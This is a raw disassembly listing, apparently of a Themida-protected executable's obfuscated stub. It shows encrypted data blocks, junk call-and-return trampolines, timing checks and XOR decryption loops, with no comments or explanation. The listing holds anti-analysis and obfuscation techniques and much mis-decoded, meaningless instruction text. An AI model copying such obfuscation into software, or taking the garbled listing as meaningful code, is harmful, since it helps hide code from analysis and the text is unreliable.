dd 11E8D22Bh, 36000000h, 0E03115F1h, 23319673h, 337B3676h
dd 7C1DA9EAh, 0F35DBF66h, 0C233AD5Fh, 0D003E8D1h, 7504E983h
dd 0D8D780F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0B1C35747h, 664CA9DBh, 1369EB81h, 0EE8h, 0C6FDDA00h
dd 2FE84259h, 0C8A27C08h, 0E9D139C3h, 0Ah, 0B0140F78h
dd 86124D8Ah, 0D5F9598h, 88h, 12E8h, 5196D300h, 2DEA8F77h
dd 3E187B25h, 0F566CA3Ah, 5B4EE076h, 9F5958Bh, 6A0610h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0BE10AC3h, 0BB561CA9h, 1E9066D0h, 23198D8Bh, 8B500610h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 1D059D8Bh
dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 477916C3h, 81B81178h, 2E4F78CBh, 29BD831Ch
dd 6101Eh, 67840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 8B4656C3h, 0B8F9h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 404DA0C3h, 0DD1F8D71h, 0D1BD8B0Ch, 8D061006h, 104E858Dh
dd 39CB8006h, 0FFDEB70Fh, 7E9E1h, 0BD030000h, 33562A1Ch
dd 0C1BD8357h, 61022h, 44B840Fh, 12E90000h, 69000000h
dd 605027B5h, 27E5A789h, 489E9DC0h, 6CBA4ABCh, 0C1BD83BFh
dd 1061022h, 442840Fh, 0BD830000h, 61022C1h, 0FF860F03h
dd 80000003h, 6660CFEFh, 668010BBh, 6AD98Ch, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 75A08C3h
dd 440887BAh, 60B18FA4h, 12B58589h, 81660610h, 6136BACAh
dd 0AF67BB66h, 6A04E180h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 0CE46C356h, 0C90A5F51h
dd 10C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 9D899DC3h, 61015B1h, 2185858Bh
dd 0F3810610h, 137969EEh, 11FD8533h, 6A0610h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1A31CFC3h
dd 5B76BE4Fh, 0EE8E7h, 46C90000h, 7FC2583Eh, 0B2252A85h
dd 9A837A10h, 5B99D03h, 505F0610h, 66525051h, 0F7F5FBFh
dd 489ABF31h, 585A336Fh, 2404895Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0DEC35141h, 0B718EAC0h, 7E4BF9BFh
dd 358D8908h, 6A061006h, 0F19D8B00h, 68061007h, 5369D128h
dd 3481F98Bh, 76D2D724h, 576DBF53h, 95FF010Ah, 61005D5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0C8C35545h
dd 0BD1157AEh, 4BC78192h, 893D3B99h, 13C26D85h, 41BD8B06h
dd 0E906102Fh, 224h, 858B7AB7h, 613C265h, 13919D8Bh, 0C70610h
dd 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
dd 2DC35747h, 8045DCB4h, 0D9BD2320h, 8B061018h, 13C269B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0D375DC04h, 0F0DBD8Bh, 0BD8B0610h, 610062Dh
dd 0E25858Bh, 0D3810610h, 471C4BF7h, 68C0Fh, 0BD8B0000h
dd 6102A01h, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 4F709C3h, 0F2262692h, 8B60973Bh
dd 1000458Dh, 2D8D8906h, 61061014h, 2185858Bh, 0C4B30610h
dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0DBFC350h, 5560ACDCh, 0FB4B34C3h
dd 27859D2Bh, 8B660610h, 8F0F50F9h, 17h, 0AE95250h, 9B000000h
dd 0E2D1D925h, 0FDEABFF2h, 53310F56h, 89585A5Fh, 6A2434h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 507F27C3h, 2B346328h, 10E9h, 0B31B9100h, 0EEDAD0D8h
dd 0C700ABE8h, 0B0133577h, 65B5FF73h, 0E90613C2h, 0Bh
dd 0DE589A63h, 0BA1337B4h, 689A4CBBh, 0CAA0FC78h, 10E8h
dd 0D1B45000h, 0AFA577B7h, 0C6E863BCh, 46FD5ADEh, 0DE8AAh
dd 14B70000h, 0DA5A7D38h, 9EE942E0h, 5284ABFCh, 815F5B5Fh
dd 7872404h, 0BD8B357Eh, 6100FD9h, 0C26D858Dh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0B529ACC3h, 6100715h, 8B525050h, 66310FDFh, 585AFA8Bh
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0E5ACC351h, 143DBD33h, 0BD2B0610h
dd 6100D6Dh, 5D595FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0BD296EC3h, 6101E2Dh
dd 0ADBD8B61h, 0C7061013h, 1022C185h, 306h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 66AA5E34h, 1E51F781h, 0BD83FE8Bh, 613C26Dh, 23840F00h
dd 8B000000h, 37E9F9h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 305028C3h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F99D8BC0h
dd 6A061005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 8A3BC355h, 0F63C3566h, 8E0F162Fh
dd 8, 2850Fh, 5F510000h, 22C1BD83h, 0F030610h, 41485h
dd 81665700h, 5F8C3ACFh, 0C26DBD83h, 0F000613h, 40084h
dd 39B58900h, 8B06102Dh, 6DB5FFD9h, 6A0613C2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0B924C352h, 0BD8B7CEDh, 6102D6Dh, 2FA595FFh, 6A0610h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 5C6C91C3h, 9112E653h, 332D9D09h, 45BF0610h, 8B499225h
dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0B2AE3DBFh, 66DA2ABh, 0BD09DF8Bh
dd 6102825h, 106C7h, 0E7810001h, 5E9EC797h, 1EB5BD8Bh
dd 89500610h, 8B662434h, 6E9DEh, 697D0000h, 650D3E75h
dd 0C26DB5FFh, 95890613h, 6100461h, 0BE9h, 39EC4A00h, 6E35C8B4h
dd 611CE263h, 122595FFh, 8F0F0610h, 6, 30719501h, 0B58B0610h
dd 613C261h, 8BD9B70Fh, 1021D185h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DDCB80AFh
dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 64A200C3h, 6732CB81h, 9D8B24A2h
dd 6103041h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0FE8E05C3h, 8B60551Eh
dd 0AE9D3h, 828B0000h, 2B44AD19h, 1AD7C37Eh, 4C28361h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 37C35242h
dd 89F8BF0Fh, 0FB8B2050h, 0D7C2858Dh, 6A0613h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0A83C07C3h, 8166B9E1h, 89BDE5CBh, 0B886h, 6D9D8900h
dd 6A061009h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 44E1ED7Ch, 6DB5FFF9h, 6A0613C2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0FB23C350h, 0E9E4105Ch, 10h, 0B00F54D3h
dd 43D28A3Fh, 86C5B89Ah, 41B6449h, 49595FFh, 0BE90610h
dd 0A6000000h, 2D85A800h, 6D9D89C6h, 5250D827h, 66616060h
dd 5F61FA8Bh, 89243489h, 101DC9BDh, 6DB5FF06h, 6A0613C2h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 3B92C351h, 31C59501h, 95FF0610h, 610162Dh
dd 1C19D8Bh, 0BD830610h, 6101351h, 33840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0E6E1C351h, 5DA4A2C0h, 8EBF6696h, 0BBBB500Ah
dd 9672C93Dh, 6D9BD29h, 0B5FF0610h, 613C26Dh, 0AAEF8160h
dd 61754052h, 0C1995FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 66CC3DC3h, 0A71A9957h
dd 0E8F0F3Ch, 60000000h, 820Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
popa
push dword ptr [ebp+613C26Dh]
push 0
push ebp
call sub_59325E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59325E proc near ; CODE XREF: Themida_:00593256p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_59325E endp
; ---------------------------------------------------------------------------
dw 99BDh
; ---------------------------------------------------------------------------
mov al, ds:7A4D62E3h
add edi, [ebp+610013Dh]
call dword ptr [ebp+6101621h]
push 0
push eax
call sub_59328C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59328C proc near ; CODE XREF: Themida_:00593284p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_59328C endp
; ---------------------------------------------------------------------------
les ebp, [ebx]
popf
movsd
or dl, [eax]
push es
sub [ebp+6101E9Dh], edi
cmp dword ptr [ebp+6100F89h], 2
jz loc_593315
mov [ebp+6101929h], esi
mov eax, [ebp+61010C5h]
push 0
push esi
call sub_5932CD
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5932CD proc near ; CODE XREF: Themida_:005932C5p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5932CD endp
; ---------------------------------------------------------------------------
stc
xchg eax, ebx
or bl, [edi-42746E3Fh]
lea esp, [ecx]
adc [esi], al
mov byte ptr [eax], 0
push 0
push esi
call sub_5932F7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5932F7 proc near ; CODE XREF: Themida_:005932EFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5932F7 endp
; ---------------------------------------------------------------------------
popf
sbb [ebx+10241DBDh], ecx
push es
sub edi, [ebp+6102965h]
loc_593315: ; CODE XREF: Themida_:005932B0j
mov dword ptr [ebp+6102A25h], 0
jmp loc_593329
; ---------------------------------------------------------------------------
retf 0A454h
; ---------------------------------------------------------------------------
db 5Fh
db 2
; ---------------------------------------------------------------------------
loc_593329: ; CODE XREF: Themida_:0059331Fj
jmp near ptr dword_59255C+183h
; ---------------------------------------------------------------------------
mov bx, ax
mov eax, ecx
mov di, 0C426h
lea eax, [ebp+61013B9h]
push 0
push ebx
call sub_593348
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593348 proc near ; CODE XREF: Themida_:00593340p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_593348 endp
; ---------------------------------------------------------------------------
dd 0FBC05537h, 75E56D1Bh, 0FEBF0F62h, 7E990h, 17800000h
dd 0F50F3F9Bh, 819050D5h, 39093BEFh, 0E9006A6Bh, 10h, 0D405909Ah
dd 0ACB1D6BBh, 0B1950667h, 165F5851h, 960006Ah, 102A2DBDh
dd 61EC8A06h, 0CE9h, 9952E00h, 5F5BCE70h, 0DA4E0E33h, 70858DFCh
dd 9061480h, 1030A595h, 5C08306h, 1473DF81h, 60507050h
dd 0E8B641B8h, 4896178h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0AE8AB86h, 0E7000000h
dd 0DD975B86h, 0DC119474h, 0DF815BF0h
; ---------------------------------------------------------------------------
loc_5933FC: ; DATA XREF: Themida_:0054BF84o
adc eax, 6A7849F1h
add [eax+6A53CBh], al
or [ebp+6100B19h], ebx
call dword ptr [ebp+6101D19h]
add [ebp+6101049h], edi
lea ecx, [ebp+613AFD8h]
jmp loc_59342D
; ---------------------------------------------------------------------------
dd 0EDF4F370h, 0AC2B62C9h
db 0C1h
; ---------------------------------------------------------------------------
loc_59342D: ; CODE XREF: Themida_:0059341Fj
call ecx
push 0
push edx
call sub_59343A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59343A proc near ; CODE XREF: Themida_:00593432p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_59343A endp
; ---------------------------------------------------------------------------
mov [ecx+4Fh], ah
lahf
cld
pop edx
loc_593450: ; CODE XREF: Themida_:00593482j
inc ebx
and al, dh
xor [ebx+66h], dl
mov edi, 835FE27Eh
mov ebp, 6102209h
add [edi], ecx
test [eax+eax+0], esi
add [edx+0], ch
push ebx
call sub_593472
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593472 proc near ; CODE XREF: Themida_:0059346Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_593472 endp
; ---------------------------------------------------------------------------
jle short loc_593450
sbb [ebx-1A427427h], ecx
add al, 10h
push es
push 2
push 0
push esi
call sub_59349A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59349A proc near ; CODE XREF: Themida_:00593492p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_59349A endp
; ---------------------------------------------------------------------------
sti
retn
; ---------------------------------------------------------------------------
inc edx
sub ebx, [ebp+6102991h]
or edi, 291A7363h
push eax
jmp loc_5934CB
; ---------------------------------------------------------------------------
db 58h
dd 3B7BFE35h, 2C28537Eh
db 5Dh, 0FAh, 3Dh
; ---------------------------------------------------------------------------
loc_5934CB: ; CODE XREF: Themida_:005934BAj
mov [esp], eax
mov edi, 1C4033F3h
call dword ptr [ebp+6100495h]
mov ebx, edx
jmp loc_59426E
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 614807Ah
mov [ebp+61018A1h], edi
push 0
push ebp
call sub_5934FD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5934FD proc near ; CODE XREF: Themida_:005934F5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5934FD endp
; ---------------------------------------------------------------------------
db 3Eh, 0A0h, 1Eh
dd 0D01DF5C7h, 0C9CDBF66h, 99B6858Dh, 890F0613h, 2, 0BF50DE8Bh
dd 0D5EDBC5h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0F30FC353h, 12E08A65h
dd 0E9F98B66h, 0Ch, 0C680FB67h, 0E4009226h, 6B0A9712h
dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 6789C350h, 9615C4DDh
dd 0CD9D8BF3h, 64061005h, 2589h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 667AEDC3h
dd 0FF13D7BFh, 10141985h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C65EB8BDh
dd 0FF6A9E64h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0CDC35545h, 6B8D8548h, 9E88Eh, 0CD5B0000h, 3C09890Ah
dd 5F3E3A4Ah, 6840Fh, 8D890000h, 6102779h, 0BB9B5FFh, 6A0610h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 7313BEC3h, 0D74A33DBh, 2985BD0Bh, 95FF0610h, 6100615h
dd 108E9h, 0F7816600h, 0B06F2Ch, 53B770E6h, 26B371E4h
dd 830F613Ch, 0F1h, 1B119D8Bh, 0B60F0610h, 7E9C8h, 58DA0000h
dd 0F720CF1Eh, 6BAE5h, 0BB660000h, 8BFCC254h, 75BF66C1h
dd 4E8C161h, 22999D89h, 0F7660610h, 0AE9E2h, 0D9860000h
dd 7EE54CFCh, 0B87382D5h, 9589C82Bh, 6101B11h, 8B60D18Bh
dd 1005CD9Dh, 0DE906h, 0D6200000h, 2B7811B8h, 46F64562h
dd 61E7F49Dh, 12E9h, 0C8E0F00h, 0F000000h, 68Eh, 39BD8B00h
dd 8B061007h, 1010B585h, 0C083FC06h, 0C08307h, 9E8h, 0EA4A0C00h
dd 0EEC590DAh, 9D8B9EA1h, 6101CE1h, 0B99D895Bh, 3B061023h
dd 0B830FD0h, 80000000h, 3EE990EFh, 66000000h, 8D8BFA8Bh
dd 6102AB1h, 935BD2Bh, 0E1830610h, 26840F01h, 8A000000h
dd 0B1A583D9h, 0FE06102Ah, 9589E7B3h, 61010B5h, 0BE9h
dd 0FC695200h, 0E93CD67Ch, 64844FC0h, 0E9h, 3AB58D00h
dd 0F06140Ah, 0F84h, 0AE900h, 0D3300000h, 0C884030Bh, 0FDD03165h
dd 12E8006Ah, 0D6000000h, 183391D3h, 5F6FE686h, 706EF0E7h
dd 372EA93Dh, 7DDF815Dh, 5F0BE9FDh, 31C995FFh, 81660610h
dd 0B999D3CFh, 7E4h, 0E860Fh, 9E90000h, 49000000h, 811541FAh
dd 88381987h, 10799D8Bh, 0E1830610h, 53006AFCh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 65F849A2h
dd 0F821921h, 1850Fh, 0E9F90000h, 10h, 0AAD83D59h, 5712A469h
dd 0EC5CD7E5h, 0DBBA334Bh, 559D89FCh, 0B8061001h, 0
; ---------------------------------------------------------------------------
mov [ebp+610307Dh], esi
mov edx, 0
push 0
push ebx
call sub_59382A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59382A proc near ; CODE XREF: Themida_:00593822p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_59382A endp
; ---------------------------------------------------------------------------
dw 0CD97h
dd 0CFC3368Eh, 9D8B19FFh, 6101575h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 50006AF9h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 45622B78h, 0F49D46F6h
dd 9D038FE7h, 6100A31h, 11A59D8Bh, 880D0610h, 9000000h
dd 102EF98Dh, 0F5958B06h, 6A061009h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B32C356h
dd 1023198Dh, 8BFE8B06h, 102EE59Dh, 0C28B5006h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A76E8BBh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 39BDC355h, 0D496FC7Bh, 892EE9B2h, 1019F18Dh, 29BD8306h
dd 6101Eh, 44840Fh, 0DB810000h, 51FC0003h, 0B8F98B66h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+61013F1h], esi
lea ecx, [ebp+6104E85h]
push 0
push ebx
call sub_593933
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593933 proc near ; CODE XREF: Themida_:0059392Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_593933 endp
; ---------------------------------------------------------------------------
daa
sub bl, 0Eh
movsx edi, di
jmp ecx
; ---------------------------------------------------------------------------
xor [ebp+61011C5h], esi
cmp dword ptr [ebp+61022C1h], 0
jz loc_593E0E
push 0
push edi
call sub_59396A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59396A proc near ; CODE XREF: Themida_:00593962p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_59396A endp
; ---------------------------------------------------------------------------
cmpsb
sub bx, 4B88h
cmp dword ptr [ebp+61022C1h], 1
jz loc_593E29
add [ebp+61031B9h], edx
cmp dword ptr [ebp+61022C1h], 3
jbe loc_593DF3
pusha
push 0
push esi
call sub_5939AC
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5939AC proc near ; CODE XREF: Themida_:005939A4p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5939AC endp
; ---------------------------------------------------------------------------
cmpsb
mov esp, 1F546308h
pop edx
mov edi, [ebp+6101909h]
mov cx, ds
clc
and cl, 4
push 0
push ecx
call sub_5939DB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5939DB proc near ; CODE XREF: Themida_:005939D3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5939DB endp
; ---------------------------------------------------------------------------
db 5Ah
dd 0A37C2E0h, 34840FC9h, 0E8000001h, 0Bh, 0C9482112h, 954DDFB7h
dd 899CEFB6h, 101DC1B5h, 858B5F06h, 6102185h, 12E9h, 0B2130F00h
dd 6E1C211Eh, 1D1370E4h, 37BBA32Eh, 33A57660h, 1011FD85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0CB6A0AB4h, 0E950B6B3h, 5, 71325AE5h, 240489EFh
dd 0D618589h, 6A0610h, 1BB99D33h, 4E80610h, 0FF000000h
dd 50001F03h, 448BF88Bh, 2BBF0424h, 8B5A89ABh, 9E900h
dd 0F19E0000h, 5C4EB8CDh, 89695375h, 0F042444h, 0B89h
dd 60525000h, 66310F61h, 585ADA8Bh, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 74739E56h
dd 0A2B22F52h, 193DBD33h, 95FF0610h, 61005D5h, 8589D8B3h
dd 613C26Dh, 0D5958952h, 5F061007h, 276E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0AD435BD2h, 0C7816656h, 9D8BF80Dh, 61009E5h, 8E8h, 20FD2400h
dd 899A9A15h, 0D680BB79h, 8B5B2D0Ch, 13C26585h, 0CB816606h
dd 0C774FFh, 18h, 8BF98B66h, 13C269B5h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 895C6C91h, 100B1585h, 0EE906h, 0B3590000h, 6E8B7196h
dd 76E494D9h, 26B26B71h, 0E25858Bh, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B33CA0C3h
dd 0AEDB8166h, 6A068933h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 54A0C350h, 666F941Ah
dd 9C48D381h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0B59AFEC3h, 95FCD08Ah
dd 89FC2CAFh, 0E3800446h, 52505059h, 310FF88Bh, 89BB5250h
dd 0F1236CFh, 8E0F31h, 5A000000h, 89585A58h, 6A2434h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 656761C3h, 99F06836h, 0ABFD6DDh, 0F624D80h, 0C8Bh, 6860F00h
dd 8B000000h, 10227DBDh, 65B5FF06h, 6A0613C2h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0D69EC355h, 93476ADEh, 0B589B0D8h, 6101AB1h, 9C783068h
dd 7E9601Ch, 65000000h, 216B7E03h, 8161A567h, 7BCF2434h
dd 6A1C83h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 293C9AC3h, 1011AD85h, 6D858D06h, 6A0613C2h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0E840C351h, 0B7CB113Dh, 600879C1h, 1F3DBD8Bh
dd 0BD890610h, 6101219h, 0BF509061h, 23518F9Dh, 66606090h
dd 90E8D981h, 14B19D8Bh, 0F610610h, 386h, 0C8D08000h, 0D595FF61h
dd 6A061005h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0A080C350h, 810E9CC0h, 0E8F8BF0Fh
dd 14h, 5B4148A9h, 0DC8896A8h, 2771FAD9h, 329C64ECh, 69D98DD3h
dd 135D9D8Bh, 615B0610h, 8E8h, 0FEB8DD00h, 0F74B9000h
dd 959D8BA6h, 5B061005h, 22C185C7h, 30610h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0AE33FFC3h, 0E556C488h, 0F98D29A0h, 0F9061005h, 0C26DBD83h
dd 0F000613h, 3A84h, 5E900h, 9330000h, 0E9B02BB6h, 46h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 56C35040h
dd 0FDAE448h, 68Ch, 99D0300h
db 2Dh, 10h, 6
; ---------------------------------------------------------------------------
loc_593DF3: ; CODE XREF: Themida_:0059399Aj
; Themida_:00593E0Aj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_593DF3
jmp short loc_593E44
; ---------------------------------------------------------------------------
loc_593E0E: ; CODE XREF: Themida_:00593959j
; Themida_:00593E25j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_593E0E
jmp short loc_593E44
; ---------------------------------------------------------------------------
loc_593E29: ; CODE XREF: Themida_:00593987j
; Themida_:00593E40j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_593E29
jmp short $+2
loc_593E44: ; CODE XREF: Themida_:00593E0Cj
; Themida_:00593E27j
mov eax, eax
push 0
push ebp
call sub_593E51
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593E51 proc near ; CODE XREF: Themida_:00593E49p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_593E51 endp
; ---------------------------------------------------------------------------
db 7Ah, 44h, 60h
dd 8E8F78Bh, 46000000h, 0FC70800h, 9A2DD8Dh, 1023E195h
dd 83615F06h, 1022C1BDh, 850F0306h, 39Ch, 0C26DBD83h, 0F000613h
dd 38F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0BB6666FCh, 0BD8B7733h, 61021F1h
dd 0D3D38166h, 6DB5FF6Ch, 10613C2h, 10139D9Dh, 0DF816606h
dd 95FFE2D8h, 6102FA5h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 3C35141h, 89DB03B0h, 10024D8Dh, 8BF98B06h
dd 13C261B5h, 0A7B75206h, 106C75Fh, 6A000100h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 9156C350h, 599D8B58h, 8B06100Fh, 102D35BDh, 66579606h
dd 5B5771BBh, 52506050h, 310F5250h, 310F585Ah, 810Fh, 585A0000h
dd 28C0Fh, 0EBB50000h, 6A9661h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0E5F59FC3h, 8529334Dh
dd 6102DE1h, 9787BB66h, 0C26DB5FFh, 9D0B0613h, 6101CEDh
dd 122595FFh, 95090610h, 610137Dh, 0C261B58Bh, 8D890613h
dd 6102809h, 21D1858Bh, 0BD8B0610h, 6102FC1h, 0C48689h
dd 890F0000h, 6, 8898509h, 958B0610h, 61009F5h, 1CA58529h
dd 0C2830610h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 201DC5C9h, 3CDB8175h
dd 89198376h, 858D2050h, 613D7C2h, 0E856006Ah, 3, 5EC35E20h
